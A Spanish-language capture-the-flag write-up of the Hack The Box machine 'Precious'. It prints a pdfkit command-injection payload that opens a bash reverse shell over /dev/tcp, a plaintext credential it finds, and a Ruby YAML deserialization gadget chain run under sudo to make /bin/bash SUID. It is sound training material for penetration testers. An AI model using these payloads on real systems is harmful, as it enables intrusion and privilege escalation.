Precious
8 minutos de lectura
sudo
para ejecutar un script en Ruby que es vulnerable a deserialización insegura en YAML, que puede usarse para ejecutar comandos como root
- SO: Linux
- Dificultad: Fácil
- Dirección IP: 10.10.11.189
- Fecha: 26 / 11 / 2022
Escaneo de puertos
# Nmap 7.93 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.11.189 -p 22,80
Nmap scan report for 10.10.11.189
Host is up (0.043s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 845e13a8e31e20661d235550f63047d2 (RSA)
| 256 a2ef7b9665ce4161c467ee4e96c7c892 (ECDSA)
|_ 256 33053dcd7ab798458239e7ae3c91a658 (ED25519)
80/tcp open http nginx 1.18.0
| http-server-header:
| nginx/1.18.0
|_ nginx/1.18.0 + Phusion Passenger(R) 6.0.15
|_http-title: Convert Web Page to PDF
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 8.72 seconds
La máquina tiene abiertos los puertos 22 (SSH) y 80 (HTTP).
Enumeración
Si vamos a http://10.10.11.189
se nos redirige a http://precious.htb
, por lo que tenemos que poner el dominio en /etc/hosts
. Después, veremos esta página web:
Nos permite convertir una página HTML en PDF. Para analizarlo, podemos configurar un listener usando nc -nlvp 80
y poner nuestra dirección IP como URL:
Entonces, recibimos esta petición:
$ nc -nlvp 80
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::80
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from 10.10.11.189.
Ncat: Connection from 10.10.11.189:38498.
GET / HTTP/1.1
Host: 10.10.17.44
User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/602.1 (KHTML, like Gecko) wkhtmltopdf Version/10.0 Safari/602.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Connection: Keep-Alive
Accept-Encoding: gzip, deflate
Accept-Language: en-US,*
^C
Nada demasiado interesante. Intentemos convertir una página HTML:
$ mkdir www
$ cd www
$ python3 -m http.server 80
Serving HTTP on :: port 80 (http://[::]:80/) ...
Ahora, si ingresamos nuestra dirección IP como URL, veremos este documento PDF:
En sus metadatos, encontraremos que se genera con pdfkit v0.8.6
:
$ exiftool /tmp/roqhkior45j34b3r45gnhrpvi8mdgy7w.pdf
ExifTool Version Number : 12.50
File Name : roqhkior45j34b3r45gnhrpvi8mdgy7w.pdf
Directory : /tmp
File Size : 11 kB
File Modification Date/Time : 2023:01:16 12:28:50+01:00
File Access Date/Time : 2023:01:16 12:28:59+01:00
File Inode Change Date/Time : 2023:01:16 12:28:50+01:00
File Permissions : -rw-r--r--
File Type : PDF
File Type Extension : pdf
MIME Type : application/pdf
PDF Version : 1.4
Linearized : No
Page Count : 1
Creator : Generated by pdfkit v0.8.6
Acceso a la máquina
Usando este servicio y versión, podemos buscar vulnerabilidades y descubrir que el CVE-2022-2576 afecta esta versión.
En security.snyk.io, Podemos encontrar una prueba de concepto para una vulnerabilidad de inyección de comandos. El payload es:
http://example.com/?name=#{'%20`sleep 5`'}
Confirmamos que el payload anterior funciona porque la respuesta tarda más de 5 segundos (por lo que se ejecutó el comando sleep 5
):
Por lo tanto, tenemos la ejecución remota de comandos (Remote Code Execution, RCE), por lo que podemos obtener una reverse shell en el sistema:
$ echo -n 'bash -i >& /dev/tcp/10.10.17.44/4444 0>&1' | base64
YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx
Entonces usaremos la siguiente URL:
http://10.10.17.44/?name=#{'%20`echo YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx | base64 -d | bash`'}
$ nc -nlvp 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.189.
Ncat: Connection from 10.10.11.189:48396.
bash: cannot set terminal process group (680): Inappropriate ioctl for device
bash: no job control in this shell
ruby@precious:/var/www/pdfapp$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
ruby@precious:/var/www/pdfapp$ ^Z
zsh: suspended ncat -nlvp 4444
$ stty raw -echo; fg
[1] + continued ncat -nlvp 4444
reset xterm
ruby@precious:/var/www/pdfapp$ export TERM=xterm
ruby@precious:/var/www/pdfapp$ export SHELL=bash
ruby@precious:/var/www/pdfapp$ stty rows 50 columns 158
Enumeración del sistema
En este punto, podemos ver que hay un usuario de sistema llamado henry
que posee la flag user.txt
:
ruby@precious:~$ ls /home
henry ruby
ruby@precious:~$ ls /home/henry/
user.txt
ruby@precious:~$ ls -la /home/henry/
total 24
drwxr-xr-x 2 henry henry 4096 Oct 26 08:28 .
drwxr-xr-x 4 root root 4096 Oct 26 08:28 ..
lrwxrwxrwx 1 root root 9 Sep 26 05:04 .bash_history -> /dev/null
-rw-r--r-- 1 henry henry 220 Sep 26 04:40 .bash_logout
-rw-r--r-- 1 henry henry 3526 Sep 26 04:40 .bashrc
-rw-r--r-- 1 henry henry 807 Sep 26 04:40 .profile
-rw-r----- 1 root henry 33 Jan 16 06:22 user.txt
Entonces, de alguna manera debemos cambiarnos a este usuario.
Movimiento lateral al usuario henry
Estos son algunos de los archivos del servidor web, pero aquí no hay nada útil:
ruby@precious:/var/www/pdfapp$ ls -la
total 36
drwxr-xr-x 6 root root 4096 Oct 26 08:28 .
drwxr-xr-x 4 root root 4096 Oct 26 08:28 ..
drwxr-xr-x 4 root ruby 4096 Oct 26 08:28 app
drwxr-xr-x 2 root ruby 4096 Oct 26 08:28 config
-rw-r--r-- 1 root ruby 59 Sep 10 09:46 config.ru
-rw-r--r-- 1 root ruby 99 Sep 17 14:17 Gemfile
-rw-r--r-- 1 root ruby 478 Sep 26 05:04 Gemfile.lock
drwxrwxr-x 2 root ruby 4096 Jan 16 06:28 pdf
drwxr-xr-x 4 root ruby 4096 Oct 26 08:28 public
ruby@precious:/var/www/pdfapp$ find
.
./public
./public/images
./public/stylesheets
./public/stylesheets/style.css
./config.ru
./config
./config/environment.rb
./Gemfile
./pdf
./app
./app/views
./app/views/index.erb
./app/controllers
./app/controllers/pdf.rb
./Gemfile.lock
Si vamos al directorio personal de ruby
, veremos estos archivos:
ruby@precious:/var/www/pdfapp$ cd
ruby@precious:~$ ls -la
total 28
drwxr-xr-x 4 ruby ruby 4096 Jan 16 06:26 .
drwxr-xr-x 4 root root 4096 Oct 26 08:28 ..
lrwxrwxrwx 1 root root 9 Oct 26 07:53 .bash_history -> /dev/null
-rw-r--r-- 1 ruby ruby 220 Mar 27 2022 .bash_logout
-rw-r--r-- 1 ruby ruby 3526 Mar 27 2022 .bashrc
dr-xr-xr-x 2 root ruby 4096 Oct 26 08:28 .bundle
drwxr-xr-x 3 ruby ruby 4096 Jan 16 06:26 .cache
-rw-r--r-- 1 ruby ruby 807 Mar 27 2022 .profile
ruby@precious:~$ find
.
./.bundle
./.bundle/config
./.profile
./.bash_history
./.cache
./.cache/fontconfig
./.cache/fontconfig/CACHEDIR.TAG
./.cache/fontconfig/8750a791-6268-4630-a416-eea4309e7c79-le64.cache-7
./.cache/fontconfig/ef96da78-736b-4d54-855c-6cd6306b88f9-le64.cache-7
./.cache/fontconfig/7fbdb48c-391b-4ace-afa2-3f01182fb901-le64.cache-7
./.cache/fontconfig/cb67f001-8986-4483-92bd-8d975c0d33c3-le64.cache-7
./.bash_logout
./.bashrc
Podemos encontrar una contraseña en texto claro en .bundle/config
:
ruby@precious:~$ cat .bundle/config
---
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q3c1AqGHtoI0aXAYFH"
Estas credenciales nos permiten cambiarnos a henry
:
ruby@precious:~$ su henry
Password:
henry@precious:/home/ruby$ cd
henry@precious:~$ cat user.txt
325c6a80e4b91734fe975fada382d526
Escalada de privilegios
Este usuario puede ejecutar un script en Ruby como root
usando sudo
:
henry@precious:~$ sudo -l
Matching Defaults entries for henry on precious:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User henry may run the following commands on precious:
(root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb
Este es el script en Ruby (/opt/update_dependencies.rb
):
# Compare installed dependencies with those specified in "dependencies.yml"
require 'yaml'
require 'rubygems'
# TODO: update versions automatically
def update_gems()
end
def list_from_file
YAML.load(File.read('dependencies.yml'))
end
def list_local_gems
Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end
gems_file = list_from_file
gems_local = list_local_gems
gems_file.each do |file_name, file_version|
gems_local.each do |local_name, local_version|
if(file_name == local_name)
if(file_version != local_version)
puts "Installed version differs from the one specified in file: " + local_name
else
puts "Installed version is equals to the one specified in file: " + local_name
end
end
end
end
El código Ruby es muy simple. La única entrada que tenemos es el archivo dependencies.yml
, que se toma desde una ruta relativa. Si buscamos vulnerabilidades que involucren a YAML en Ruby, encontraremos este blog, que nos redirige a gist.github.com.
Parece que YAML.load
es vulnerable a una deserialización insegura y podemos ejecutar código Ruby (por ejemplo, inyectar un comando de sistema). Usando el siguiente payload, estaremos ejecutando id
:
henry@precious:/tmp$ cat > dependencies.yml
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: id
method_id: :resolve
^C
henry@precious:/tmp$ sudo /usr/bin/ruby /opt/update_dependencies.rb
sh: 1: reading: not found
uid=0(root) gid=0(root) groups=0(root)
Traceback (most recent call last):
33: from /opt/update_dependencies.rb:17:in `<main>'
32: from /opt/update_dependencies.rb:10:in `list_from_file'
31: from /usr/lib/ruby/2.7.0/psych.rb:279:in `load'
30: from /usr/lib/ruby/2.7.0/psych/nodes/node.rb:50:in `to_ruby'
29: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
28: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
27: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
26: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:313:in `visit_Psych_Nodes_Document'
25: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
24: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
23: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
22: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:141:in `visit_Psych_Nodes_Sequence'
21: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `register_empty'
20: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `each'
19: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `block in register_empty'
18: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
17: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
16: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
15: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:208:in `visit_Psych_Nodes_Mapping'
14: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:394:in `revive'
13: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:402:in `init_with'
12: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:218:in `init_with'
11: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:214:in `yaml_initialize'
10: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:299:in `fix_syck_default_key_in_requirements'
9: from /usr/lib/ruby/vendor_ruby/rubygems/package/tar_reader.rb:59:in `each'
8: from /usr/lib/ruby/vendor_ruby/rubygems/package/tar_header.rb:101:in `from'
7: from /usr/lib/ruby/2.7.0/net/protocol.rb:152:in `read'
6: from /usr/lib/ruby/2.7.0/net/protocol.rb:319:in `LOG'
5: from /usr/lib/ruby/2.7.0/net/protocol.rb:464:in `<<'
4: from /usr/lib/ruby/2.7.0/net/protocol.rb:458:in `write'
3: from /usr/lib/ruby/vendor_ruby/rubygems/request_set.rb:388:in `resolve'
2: from /usr/lib/ruby/2.7.0/net/protocol.rb:464:in `<<'
1: from /usr/lib/ruby/2.7.0/net/protocol.rb:458:in `write'
/usr/lib/ruby/2.7.0/net/protocol.rb:458:in `system': no implicit conversion of nil into String (TypeError)
Dado que se nos permite usar sudo
, la salida de id
es uid=0(root) gid=0(root) groups=0(root)
, por lo que somos root
.
En este punto, podemos hacer que bash
sea un binario SUID para escalar a root
:
henry@precious:/tmp$ ls -l /bin/bash
-rwxr-xr-x 1 root root 1234376 Mar 27 2022 /bin/bash
henry@precious:/tmp$ cat > dependencies.yml
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: chmod 4755 /bin/bash
method_id: :resolve
^C
henry@precious:/tmp$ sudo /usr/bin/ruby /opt/update_dependencies.rb
sh: 1: reading: not found
Traceback (most recent call last):
33: from /opt/update_dependencies.rb:17:in `<main>'
32: from /opt/update_dependencies.rb:10:in `list_from_file'
31: from /usr/lib/ruby/2.7.0/psych.rb:279:in `load'
30: from /usr/lib/ruby/2.7.0/psych/nodes/node.rb:50:in `to_ruby'
29: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
28: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
27: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
26: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:313:in `visit_Psych_Nodes_Document'
25: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
24: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
23: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
22: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:141:in `visit_Psych_Nodes_Sequence'
21: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `register_empty'
20: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `each'
19: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `block in register_empty'
18: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
17: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
16: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
15: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:208:in `visit_Psych_Nodes_Mapping'
14: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:394:in `revive'
13: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:402:in `init_with'
12: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:218:in `init_with'
11: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:214:in `yaml_initialize'
10: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:299:in `fix_syck_default_key_in_requirements'
9: from /usr/lib/ruby/vendor_ruby/rubygems/package/tar_reader.rb:59:in `each'
8: from /usr/lib/ruby/vendor_ruby/rubygems/package/tar_header.rb:101:in `from'
7: from /usr/lib/ruby/2.7.0/net/protocol.rb:152:in `read'
6: from /usr/lib/ruby/2.7.0/net/protocol.rb:319:in `LOG'
5: from /usr/lib/ruby/2.7.0/net/protocol.rb:464:in `<<'
4: from /usr/lib/ruby/2.7.0/net/protocol.rb:458:in `write'
3: from /usr/lib/ruby/vendor_ruby/rubygems/request_set.rb:388:in `resolve'
2: from /usr/lib/ruby/2.7.0/net/protocol.rb:464:in `<<'
1: from /usr/lib/ruby/2.7.0/net/protocol.rb:458:in `write'
/usr/lib/ruby/2.7.0/net/protocol.rb:458:in `system': no implicit conversion of nil into String (TypeError)
henry@precious:/tmp$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1234376 Mar 27 2022 /bin/bash
Como se puede ver, después de ejecutar el script, los permisos para /bin/bash
han cambiado. En este punto, podemos convertirnos en root
usando bash -p
:
henry@precious:/tmp$ bash -p
bash-5.1# cat /root/root.txt
c6c51a49833192ad6abad4278fdb3b40
Además, desarrollé un script en Ruby llamado autopwn.rb
(explicación detallada aquí) que automatiza la explotación hasta conseguir acceso como root
:
$ ruby autopwn.rb 10.10.17.44
[*] Listening on port 4444
[*] Sending reverse shell payload
[+] Got connection
[+] Found credentials: "henry:Q3c1AqGHtoI0aXAYFH"
bash-5.1# whoami
root
bash-5.1# cat /home/henry/user.txt
325c6a80e4b91734fe975fada382d526
bash-5.1# cat /root/root.txt
c6c51a49833192ad6abad4278fdb3b40